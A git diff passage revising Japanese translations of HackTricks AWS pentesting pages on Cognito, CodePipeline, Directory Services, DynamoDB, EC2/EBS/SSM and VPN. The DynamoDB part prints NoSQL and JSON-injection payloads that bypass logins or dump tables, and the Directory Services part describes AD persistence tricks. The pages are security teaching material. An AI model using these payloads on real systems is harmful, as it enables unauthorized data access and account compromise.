-リフレッシュ用のコード +リフレッシュするためのコード ```python import boto3 import botocore @@ -388,13 +389,13 @@ print(refresh(client_id, token)) ### CUSTOM_AUTH -この場合、**認証**は**ラムダ関数の実行**を通じて行われます。 +この場合、**認証**は**lambda関数の実行**を通じて行われます。 ## 追加のセキュリティ ### 高度なセキュリティ -デフォルトでは無効ですが、有効にするとCognitoは**アカウント乗っ取りを検出**できる可能性があります。確率を最小限に抑えるためには、**同じ都市内のネットワークから、同じユーザーエージェントを使用して**(可能であればIPも)ログインするべきです。 +デフォルトでは無効ですが、有効にするとCognitoは**アカウントの乗っ取りを検出**できる可能性があります。確率を最小限に抑えるためには、**同じ都市内のネットワークから、同じユーザーエージェントを使用して**(可能であればIPも)ログインするべきです。 ### **MFAデバイスの記憶** @@ -402,22 +403,22 @@ print(refresh(client_id, token)) ## ユーザープールグループのIAMロール -**ユーザーをユーザープール**グループに追加することができ、そのグループは1つの**IAMロール**に関連しています。\ -さらに、**ユーザー**は異なるIAMロールが付与された**複数のグループに割り当てることができます**。 +**ユーザープール**グループに**ユーザー**を追加することが可能で、これらは1つの**IAMロール**に関連しています。\ +さらに、**ユーザー**は異なるIAMロールが付与された**複数のグループに割り当てる**ことができます。 -グループがIAMロールが付与されたグループ内にあっても、そのグループのIAM資格情報にアクセスするためには、**ユーザープールがアイデンティティプールによって信頼されている必要があります**(そのアイデンティティプールの詳細を知っている必要があります)。 +グループがIAMロールを持つグループ内にあっても、そのグループのIAM資格情報にアクセスするためには、**ユーザープールがアイデンティティプールによって信頼されている必要があります**(そのアイデンティティプールの詳細を知っている必要があります)。 -ユーザーがユーザープールで認証されるときに**IdTokenに示されたIAMロール**を取得するためのもう1つの要件は、**アイデンティティプロバイダー認証プロバイダー**が**トークンからロールを選択する必要がある**ことを示す必要があります。 +ユーザーがユーザープールで認証されるときに**IdTokenに示されたIAMロール**を取得するためのもう1つの要件は、**アイデンティティプロバイダー認証プロバイダー**が**ロールがトークンから選択される必要がある**ことを示す必要があります。
-ユーザーがアクセスできる**ロール**は**`IdToken`内にあり、ユーザーは**`aws cognito-identity get-credentials-for-identity`**の**`--custom-role-arn`**を使用して、どのロールの資格情報を希望するかを**選択できます**。\ -ただし、**デフォルトオプション**が**設定されたもの**(`デフォルトロールを使用`)であり、IdTokenからロールにアクセスしようとすると、**エラー**が発生します(そのため、前の設定が必要です): +ユーザーがアクセスできる**ロール**は**`IdToken`内にあり**、ユーザーは**`aws cognito-identity get-credentials-for-identity`の`--custom-role-arn`**を使用して、どのロールの資格情報を希望するかを**選択**できます。\ +ただし、**デフォルトオプション**が**設定されたもの**(`use default role`)であり、IdTokenからロールにアクセスしようとすると、**エラー**が発生します(そのため、前の設定が必要です): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> **ユーザープールグループ**に割り当てられたロールは、**ユーザープールを信頼するアイデンティティプロバイダーによってアクセス可能である必要があります**(IAMロールの**セッション資格情報はそこから取得されるため**)。 +> **ユーザープールグループ**に割り当てられたロールは、**ユーザープールを信頼するアイデンティティプロバイダーによってアクセス可能である必要があります**(IAMロールの**セッションクレデンシャルはそこから取得されるため**)。 ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 164be2fba..446fbb6f5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -7,7 +7,7 @@ AWS Data Pipelineは、データの**アクセス、変換、および効率的な転送**を大規模に促進するように設計されています。以下の操作を実行できます: 1. **データが保存されている場所にアクセス**: 様々なAWSサービスに保存されているデータにシームレスにアクセスできます。 -2. **大規模での変換と処理**: 大規模なデータ処理と変換タスクが効率的に処理されます。 +2. **スケールでの変換と処理**: 大規模なデータ処理と変換タスクが効率的に処理されます。 3. **結果を効率的に転送**: 処理されたデータは、以下の複数のAWSサービスに効率的に転送できます: - Amazon S3 - Amazon RDS @@ -23,19 +23,19 @@ aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` -### Privesc +### プライベートエスカレーション -次のページでは、**datapipelineの権限を悪用して特権を昇格させる方法**を確認できます: +次のページでは、**データパイプラインの権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md {{#endref}} -## CodePipeline +## コードパイプライン -AWS CodePipelineは、**継続的デリバリーサービス**を完全に管理されたもので、**リリースパイプラインを自動化**し、迅速かつ信頼性の高いアプリケーションおよびインフラストラクチャの更新を支援します。CodePipelineは、定義したリリースモデルに基づいて、コード変更があるたびにリリースプロセスの**ビルド、テスト、デプロイフェーズ**を自動化します。 +AWS CodePipelineは、**継続的デリバリーサービス**を完全に管理するもので、**リリースパイプラインを自動化**して、迅速かつ信頼性の高いアプリケーションおよびインフラストラクチャの更新を支援します。 CodePipelineは、リリースモデルに基づいて、コード変更があるたびにリリースプロセスの**ビルド、テスト、デプロイフェーズ**を自動化します。 -### Enumeration +### 列挙 ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -56,7 +56,7 @@ aws codepipeline get-pipeline-state --name これは、Amazonによってホストされ完全に管理されている**バージョン管理サービス**であり、データ(文書、バイナリファイル、ソースコード)をプライベートに保存し、クラウドで管理するために使用できます。 -これにより、ユーザーがGitを知っている必要がなく、**自分のソース管理システムを管理する**ことや、インフラをスケールアップまたはダウンすることを心配する必要がなくなります。Codecommitは、Gitに見られるすべての標準的な**機能をサポート**しており、ユーザーの現在のGitベースのツールと問題なく連携します。 +これにより、ユーザーがGitを知っている必要がなく、**自分のソース管理システムを管理する**ことや、インフラをスケールアップまたはダウンすることを心配する必要がなくなります。Codecommitは、Gitに見られるすべての標準的な**機能**をサポートしており、ユーザーの現在のGitベースのツールと問題なく連携します。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 63b4a5dd0..fb23b1240 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -1,28 +1,28 @@ -# AWS - Directory Services / WorkDocs Enum +# AWS - ディレクトリサービス / WorkDocs Enum {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## ディレクトリサービス -AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでディレクトリを**設定、運用、スケール**するのを簡単にするマネージドサービスです。これは実際の**Microsoft Active Directory**に基づいており、他のAWSサービスと密接に統合されているため、ディレクトリ対応のワークロードとAWSリソースを簡単に管理できます。AWS Managed Microsoft ADを使用すると、既存のActive Directoryユーザー、グループ、およびポリシーを使用してAWSリソースへのアクセスを管理できます。これにより、アイデンティティ管理が簡素化され、追加のアイデンティティソリューションの必要性が減少します。AWS Managed Microsoft ADは、自動バックアップと災害復旧機能も提供し、ディレクトリの可用性と耐久性を確保します。全体として、AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでマネージドで高可用性かつスケーラブルなActive Directoryサービスを提供することで、時間とリソースを節約するのに役立ちます。 +AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでディレクトリを**設定、運用、スケール**するのを簡単にするマネージドサービスです。これは実際の**Microsoft Active Directory**に基づいており、他のAWSサービスと密接に統合されているため、ディレクトリ対応のワークロードやAWSリソースを簡単に管理できます。AWS Managed Microsoft ADを使用すると、既存のActive Directoryユーザー、グループ、およびポリシーを使用してAWSリソースへのアクセスを管理できます。これにより、アイデンティティ管理が簡素化され、追加のアイデンティティソリューションの必要性が減少します。AWS Managed Microsoft ADは、自動バックアップと災害復旧機能も提供し、ディレクトリの可用性と耐久性を確保します。全体として、AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでマネージドで高可用性かつスケーラブルなActive Directoryサービスを提供することで、時間とリソースを節約するのに役立ちます。 -### Options +### オプション -Directory Servicesでは、5種類のディレクトリを作成できます: +ディレクトリサービスでは、5種類のディレクトリを作成できます: - **AWS Managed Microsoft AD**: 新しい**Microsoft ADをAWSで実行**します。管理者パスワードを設定し、VPC内のDCにアクセスできます。 - **Simple AD**: **Linux-Samba** Active Directory互換サーバーです。管理者パスワードを設定し、VPC内のDCにアクセスできます。 -- **AD Connector**: **既存のMicrosoft Active Directoryへのディレクトリリクエストをリダイレクトするためのプロキシ**で、クラウドに情報をキャッシュしません。**VPC**内でリスニングし、**既存のADにアクセスするための資格情報を提供する必要があります**。 +- **AD Connector**: **既存のMicrosoft Active Directory**へのディレクトリリクエストをリダイレクトするためのプロキシで、クラウドに情報をキャッシュしません。**VPC**でリスニングし、**既存のADにアクセスするための資格情報を提供する必要があります**。 - **Amazon Cognito User Pools**: これはCognito User Poolsと同じです。 - **Cloud Directory**: これは**最もシンプル**なものです。**サーバーレス**ディレクトリで、使用する**スキーマ**を指定し、**使用量に応じて請求されます**。 -AWS Directory servicesは、既存の**オンプレミス** Microsoft ADと**同期**したり、AWSで独自のものを**実行**したり、**他のディレクトリタイプ**と同期したりすることができます。 +AWSディレクトリサービスは、既存の**オンプレミス** Microsoft ADと**同期**したり、AWSで独自のものを**実行**したり、**他のディレクトリタイプ**と同期したりできます。 -### Lab +### ラボ ここでは、AWSで独自のMicrosoft ADを作成するための素晴らしいチュートリアルを見つけることができます: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) -### Enumeration +### 列挙 ```bash # Get directories and DCs aws ds describe-directories @@ -55,7 +55,7 @@ aws ds describe-certificate --directory-id --certificate-id ### ADユーザーを使用する -**ADユーザー**は、引き受けるロールを介して**AWS管理コンソールへのアクセス**を与えられることがあります。**デフォルトのユーザー名はAdmin**で、AWSコンソールから**パスワードを変更**することが可能です。 +**ADユーザー**は、引き受けるロールを介して**AWS管理コンソールへのアクセス**を与えられることがあります。**デフォルトのユーザー名はAdmin**で、AWSコンソールから**パスワードを変更する**ことが可能です。 したがって、**Adminのパスワードを変更**したり、**新しいユーザーを作成**したり、**ユーザーのパスワードを変更**して、そのユーザーにロールを付与してアクセスを維持することが可能です。\ また、**AD内のグループにユーザーを追加**し、その**ADグループにロールへのアクセスを与える**ことも可能です(この永続性をよりステルスにするために)。 @@ -65,15 +65,15 @@ aws ds describe-certificate --directory-id --certificate-id 被害者から攻撃者にAD環境を共有することが可能です。この方法で、攻撃者はAD環境へのアクセスを継続できるようになります。\ ただし、これは管理されたADを共有し、VPCピアリング接続を作成することを意味します。 -ガイドはこちらで見つけることができます: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +ガイドはこちらにあります: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~ADの共有(攻撃者から被害者へ)~~ -異なるAD環境のユーザーにAWSアクセスを付与することは、1つのAWSアカウントに対しては不可能なようです。 +異なるAD環境のユーザーにAWSアクセスを付与することは不可能なようです。 ## WorkDocs -Amazon Web Services (AWS) WorkDocsは、クラウドベースの**ファイルストレージおよび共有サービス**です。これはAWSのクラウドコンピューティングサービスの一部であり、組織がファイルや文書を安全に保存、共有、共同作業するためのスケーラブルなソリューションを提供するように設計されています。 +Amazon Web Services (AWS) WorkDocsは、クラウドベースの**ファイルストレージおよび共有サービス**です。AWSのクラウドコンピューティングサービスの一部であり、組織がファイルや文書を安全に保存、共有、共同作業するためのスケーラブルなソリューションを提供するように設計されています。 AWS WorkDocsは、ユーザーがファイルや文書をアップロード、アクセス、管理するためのウェブベースのインターフェースを提供します。また、バージョン管理、リアルタイムコラボレーション、他のAWSサービスやサードパーティツールとの統合などの機能も提供しています。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 331c168e0..a31ff5ec1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -8,17 +8,17 @@ Amazon DynamoDBは、AWSによって**完全に管理されたサーバーレスのキー・バリューNoSQLデータベース**として提供されており、サイズに関係なく高性能アプリケーションを支えるために特化されています。このサービスは、固有のセキュリティ対策、途切れのないバックアップ、複数のリージョンにわたる自動レプリケーション、統合されたインメモリキャッシング、便利なデータエクスポートユーティリティなど、堅牢な機能を保証します。 -DynamoDBの文脈では、従来のデータベースを構築する代わりに、**テーブルが作成されます**。各テーブルは、**テーブルの主キー**の不可欠な要素として**パーティションキー**の指定を義務付けています。このパーティションキーは、本質的に**ハッシュ値**であり、アイテムの取得とデータのさまざまなホストへの分配の両方において重要な役割を果たします。この分配は、データベースのスケーラビリティと可用性を維持するために重要です。さらに、データの整理をさらに洗練させるために、**ソートキー**を組み込むオプションもあります。 +DynamoDBの文脈では、従来のデータベースを構築する代わりに、**テーブルが作成されます**。各テーブルは、**テーブルの主キー**の不可欠な要素として**パーティションキー**の指定を義務付けます。このパーティションキーは、本質的に**ハッシュ値**であり、アイテムの取得とデータのさまざまなホストへの分配の両方において重要な役割を果たします。この分配は、データベースのスケーラビリティと可用性を維持するために重要です。さらに、データの整理をさらに洗練させるために**ソートキー**を組み込むオプションもあります。 ### 暗号化 -デフォルトでは、DynamoDBは**Amazon DynamoDBに属するKMSキー**を使用しており、少なくともあなたのアカウントに属するAWS管理キーさえ使用していません。 +デフォルトでは、DynamoDBは**Amazon DynamoDBに属する**KMSキーを使用します。これは、少なくともあなたのアカウントに属するAWS管理キーではありません。
### バックアップとS3へのエクスポート -**テーブルバックアップ**の生成を**スケジュール**することや、**オンデマンド**で作成することが可能です。さらに、**テーブルのポイントインタイムリカバリ(PITR)を有効にする**ことも可能です。ポイントインタイムリカバリは、DynamoDBデータの**35日間**の継続的な**バックアップ**を提供し、偶発的な書き込みや削除操作から保護するのに役立ちます。 +**テーブルバックアップ**の生成を**スケジュール**することや、**オンデマンド**で作成することが可能です。さらに、**テーブルのポイントインタイムリカバリ(PITR)を有効にする**ことも可能です。ポイントインタイムリカバリは、DynamoDBデータの**35日間**の継続的な**バックアップ**を提供し、誤って書き込みや削除操作を行った場合に対する保護を助けます。 **テーブルのデータをS3にエクスポート**することも可能ですが、テーブルには**PITRが有効**である必要があります。 @@ -89,15 +89,15 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL インジェクション -DynamoDB では、データを取得するために異なる **条件**を使用できます。一般的な NoSQL インジェクションのように、データを取得するために **複数の条件を連鎖させる**ことができれば、隠れたデータを取得したり(またはテーブル全体をダンプしたり)することができます。\ +DynamoDB では、データを取得するために異なる **条件**を使用できます。一般的な NoSQL インジェクションのように、データを取得するために **複数の条件を連鎖させる**ことが可能であれば、隠されたデータを取得したり(またはテーブル全体をダンプしたり)することができます。\ DynamoDB がサポートする条件はここで確認できます: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) データが **`query`** または **`scan`** を介してアクセスされる場合、**異なる条件**がサポートされていることに注意してください。 > [!NOTE] -> 実際には、**Query** アクションは、**プライマリ** キーで **条件 "EQ" (等しい)** を指定する必要があり、これにより **NoSQL インジェクションに対してはるかに脆弱性が低く**なり(操作も非常に制限されます)。 +> 実際には、**Query** アクションは **主キー**に **条件 "EQ" (等しい)** を指定する必要があり、これにより **NoSQL インジェクションに対してはるかに脆弱性が低く**(また、操作が非常に制限されることになります)。 -もし **比較** を変更したり、新しいものを追加したりできれば、より多くのデータを取得することができます。 +もし **比較**を変更したり、新しいものを追加したりできれば、より多くのデータを取得することができます。 ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" @@ -111,11 +111,11 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### 生のJsonインジェクション > [!CAUTION] -> **この脆弱性は現在非推奨のdynamodb Scan Filterに基づいています!** +> **この脆弱性は、現在非推奨のdynamodb Scan Filterに基づいています!** -**DynamoDB**は、DB内のデータを**検索**するために**Json**オブジェクトを受け入れます。検索に送信されるjsonオブジェクトに書き込むことができる場合、DBのダンプ、すべての内容を取得することができます。 +**DynamoDB**は、DB内のデータを**検索**するために**Json**オブジェクトを受け入れます。検索に送信されるjsonオブジェクトに書き込むことができる場合、DBのダンプを作成し、すべての内容を取得することができます。 -例えば、次のようなリクエストに注入することです: +例えば、次のようなリクエストにインジェクトすることです: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` @@ -123,7 +123,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -ID 1000を検索する「EQ」条件を修正し、次にId文字列が0より大きいすべてのデータを探します。これはすべてです。 +ID 1000を検索するための「EQ」条件を修正し、その後、すべてのデータを探します。Id文字列が0より大きいもの、すなわちすべてです。 別の**ログインを使用した脆弱な例**は次のようになります: ```python @@ -141,20 +141,20 @@ scan_filter = """{ dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` -これは次のような脆弱性があります: +これに対して脆弱である可能性があります: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -一部のSDKでは、実行されるフィルタリングを示す文字列を使用することができます。 +一部のSDKでは、次のように実行されるフィルタリングを示す文字列を使用することができます: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -DynamoDBでアイテムをスキャンする際に**フィルター式**で属性**値**を**置き換える**ために検索する場合、トークンは**`:`**文字で**始まる**必要があります。そのため、これらのトークンは**実行時に実際の属性値に置き換えられます**。 +DynamoDBでアイテムをスキャンする際に**フィルター式**で属性の**値**を**置き換える**ために検索する場合、トークンは**`:`**文字で**始まる**必要があります。そのため、これらのトークンは実際の**属性値が実行時に置き換えられます**。 -したがって、前述のようなログインは次のようなもので回避できます: +したがって、前述のようなログインは次のようなものでバイパスできます: ```bash :username = :username or :username # This will generate the query: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index e08368cdb..db181f54d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -VPCとは何か、そしてその構成要素について学ぶには: +VPCとは何か、その構成要素について学ぶには: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,9 +12,9 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2は**仮想サーバー**を起動するために利用されます。**セキュリティ**や**ネットワーキング**の設定、**ストレージ**の管理が可能です。Amazon EC2の柔軟性は、リソースを上方および下方にスケールできる能力に明らかであり、要求の変化や人気の急増に効果的に適応します。この機能は、正確なトラフィック予測の必要性を減少させます。 +Amazon EC2は**仮想サーバー**を起動するために利用されます。**セキュリティ**や**ネットワーキング**の設定、**ストレージ**の管理が可能です。Amazon EC2の柔軟性は、リソースを上方および下方にスケールできる能力に明らかであり、要求の変化や人気の急増に効果的に適応します。この機能により、正確なトラフィック予測の必要性が減少します。 -EC2で列挙するのに興味深いもの: +EC2で列挙するのに興味深い項目: - 仮想マシン - SSHキー @@ -31,11 +31,11 @@ EC2で列挙するのに興味深いもの: **EC2インスタンス**上で実行されるアプリケーションに権限を付与するために**ロール**を使用するには、少し追加の設定が必要です。EC2インスタンス上で実行されるアプリケーションは、仮想化されたオペレーティングシステムによってAWSから抽象化されています。この追加の分離のため、EC2インスタンスにAWSロールとその関連する権限を割り当て、それをアプリケーションで利用可能にするための追加のステップが必要です。 -この追加のステップは、インスタンスに添付された[_**インスタンスプロファイル**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)の**作成**です。**インスタンスプロファイルにはロールが含まれ**、インスタンス上で実行されるアプリケーションにロールの一時的な資格情報を提供できます。これらの一時的な資格情報は、アプリケーションのAPI呼び出しでリソースにアクセスし、ロールが指定するリソースのみにアクセスを制限するために使用できます。**EC2インスタンスには同時に1つのロールしか割り当てられず**、インスタンス上のすべてのアプリケーションは同じロールと権限を共有します。 +この追加のステップは、インスタンスに添付された[_**インスタンスプロファイル**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)の**作成**です。**インスタンスプロファイルにはロールが含まれ**、インスタンス上で実行されるアプリケーションにロールの一時的な資格情報を提供できます。これらの一時的な資格情報は、アプリケーションのAPI呼び出しでリソースにアクセスし、ロールが指定するリソースのみにアクセスを制限するために使用できます。**EC2インスタンスには一度に1つのロールしか割り当てられず**、インスタンス上のすべてのアプリケーションは同じロールと権限を共有します。 ### メタデータエンドポイント -AWS EC2メタデータは、Amazon Elastic Compute Cloud (EC2)インスタンスにランタイムで利用可能な情報です。このメタデータは、インスタンスID、実行中のアベイラビリティゾーン、インスタンスに関連付けられたIAMロール、インスタンスのホスト名など、インスタンスに関する情報を提供するために使用されます。 +AWS EC2メタデータは、Amazon Elastic Compute Cloud (EC2)インスタンスに関する情報で、インスタンスが実行中に利用可能です。このメタデータは、インスタンスID、実行中のアベイラビリティゾーン、インスタンスに関連付けられたIAMロール、インスタンスのホスト名など、インスタンスに関する情報を提供するために使用されます。 {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -133,9 +133,9 @@ aws ec2 describe-vpc-peering-connections ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### 権限昇格 +### 特権昇格 -次のページでは、**EC2の権限を悪用して権限を昇格させる方法**を確認できます: +次のページでは、**EC2の権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md @@ -149,17 +149,17 @@ aws ec2 describe-vpc-peering-connections ## EBS -Amazon **EBS** (Elastic Block Store) **スナップショット**は基本的にAWS EBSボリュームの静的な**バックアップ**です。言い換えれば、特定の時点で**EC2**インスタンスに接続されている**ディスク**の**コピー**です。EBSスナップショットは、リージョンやアカウント間でコピーしたり、ダウンロードしてローカルで実行したりできます。 +Amazon **EBS** (Elastic Block Store) **スナップショット**は、基本的にAWS EBSボリュームの静的な**バックアップ**です。言い換えれば、特定の時点で**EC2**インスタンスに接続されている**ディスク**の**コピー**です。EBSスナップショットは、リージョンやアカウントを越えてコピーしたり、ダウンロードしてローカルで実行したりできます。 -スナップショットには**ソースコードやAPIキー**などの**機密情報**が含まれている可能性があるため、機会があれば確認することをお勧めします。 +スナップショットには、**ソースコードやAPIキー**などの**機密情報**が含まれている可能性があるため、機会があれば確認することをお勧めします。 ### AMIとEBSの違い -**AMI**は**EC2インスタンスを起動するために使用され**、EC2 **スナップショット**は**EBSボリュームに保存されたデータをバックアップおよび復元するために使用されます**。EC2スナップショットは新しいAMIを作成するために使用できますが、AMIとは異なり、アプリケーションを実行するために必要なオペレーティングシステム、アプリケーションサーバー、またはその他のソフトウェアに関する情報は含まれていません。 +**AMI**は**EC2インスタンスを起動するために使用され**、EC2 **スナップショット**は**EBSボリュームに保存されたデータのバックアップと復元に使用されます**。EC2スナップショットは新しいAMIを作成するために使用できますが、AMIとは異なり、アプリケーションを実行するために必要なオペレーティングシステム、アプリケーションサーバー、またはその他のソフトウェアに関する情報は含まれていません。 -### 権限昇格 +### 特権昇格 -次のページでは、**EBSの権限を悪用して権限を昇格させる方法**を確認できます: +次のページでは、**EBSの権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -167,7 +167,7 @@ Amazon **EBS** (Elastic Block Store) **スナップショット**は基本的に ## SSM -**Amazon Simple Systems Manager (SSM)**は、EC2インスタンスのフロートをリモートで管理し、その管理をはるかに簡単にします。これらのインスタンスの各々は、**SSMエージェントサービスを実行している必要があります。なぜなら、そのサービスがアクションを取得し、AWS APIから実行するからです**。 +**Amazon Simple Systems Manager (SSM)**は、EC2インスタンスのフロートをリモートで管理し、その管理をはるかに簡単にします。これらのインスタンスの各々は、**SSMエージェントサービスを実行している必要があり、サービスがAWS APIからアクションを取得して実行します**。 **SSMエージェント**は、システムマネージャーがこれらのリソースを更新、管理、構成することを可能にします。エージェントは、**AWSクラウド内のシステムマネージャーサービスからのリクエストを処理し**、リクエストに指定された通りに実行します。 @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -EC2インスタンスでSystems Managerが実行されているかどうかを確認するには、次のコマンドを実行するだけです: +EC2インスタンスでSystems Managerが実行されているかどうかを確認するには、次のコマンドを実行するだけです: ```bash ps aux | grep amazon-ssm ``` @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitroは、AWS EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させるために**導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスが**ほぼベアメタルのパフォーマンス**を提供できるようにし、リソース集約型アプリケーションに特に有益です。さらに、Nitroセキュリティチップは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 +AWS Nitroは、AWS EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させるために**導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスに**ほぼベアメタルのパフォーマンス**を提供し、リソース集約型アプリケーションに特に有益です。さらに、Nitro Security Chipは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 詳細情報と列挙方法については、以下を参照してください: @@ -263,7 +263,7 @@ VPNは、**オンプレミスネットワーク(サイト間VPN)**または* - サイト間VPNとは異なり、全体のネットワークを接続するのではなく、個々のクライアント向けに設計されています。 - クライアントVPNでは、各クライアントデバイスがVPNクライアントソフトウェアを使用して安全な接続を確立します。 -[**AWS VPNの利点とコンポーネントについての詳細情報はこちらで見つけることができます**](aws-vpc-and-networking-basic-information.md#vpn)。 +[**AWS VPNの利点とコンポーネントについての詳細情報はこちら**](aws-vpc-and-networking-basic-information.md#vpn)。 ### 列挙 ```bash @@ -299,7 +299,7 @@ AWS VPN Clientを使用してVPNに接続する際、ユーザーは通常**AWS **opvn設定ファイル** -**VPN接続が確立された場合**、システム内で**`.opvn`**設定ファイルを検索する必要があります。さらに、**$HOME/.config/AWSVPNClient/OpenVpnConfigs**に**設定**が見つかる場所の一つです。 +**VPN接続が確立された場合**、システム内で**`.opvn`**設定ファイルを探すべきです。さらに、**`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**に**設定**が見つかる場所の一つです。 #### **ポストエクスプロイト** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 66f609349..e3ca36f4f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,18 +4,18 @@ ## 基本情報 -AWS Nitroは、AWS EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させる**ために導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスに**ほぼベアメタルのパフォーマンス**を提供し、リソース集約型アプリケーションに特に有益です。さらに、Nitroセキュリティチップは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 +AWS Nitroは、AWS 